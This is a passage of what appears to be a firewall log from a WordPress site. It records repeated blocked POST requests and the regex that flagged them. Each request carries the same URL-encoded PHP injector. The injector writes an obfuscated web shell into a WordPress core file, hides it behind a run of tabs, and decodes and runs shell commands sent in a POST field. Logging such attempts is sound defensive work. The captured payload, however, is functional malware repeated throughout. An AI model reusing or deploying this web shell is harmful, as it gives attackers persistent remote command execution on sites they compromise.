8%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5322\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nVM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:35","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5322\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nCu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:37","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5322\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nCK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-language-pack-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62in%2522%253B%2520%2524hub_center1%2520%253D%2520%2522s%255Cx79stem%2522%253B%2520%2524hub_center6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65a%255Cx6D_g%255Cx65t_c%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524hub_center3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524hub_center5%2520%253D%2520%2522popen%2522%253B%2520%2524hub_center7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524hub_center4%2520%253D%2520%2522%255Cx70%255Cx61ss%255Cx74%255Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%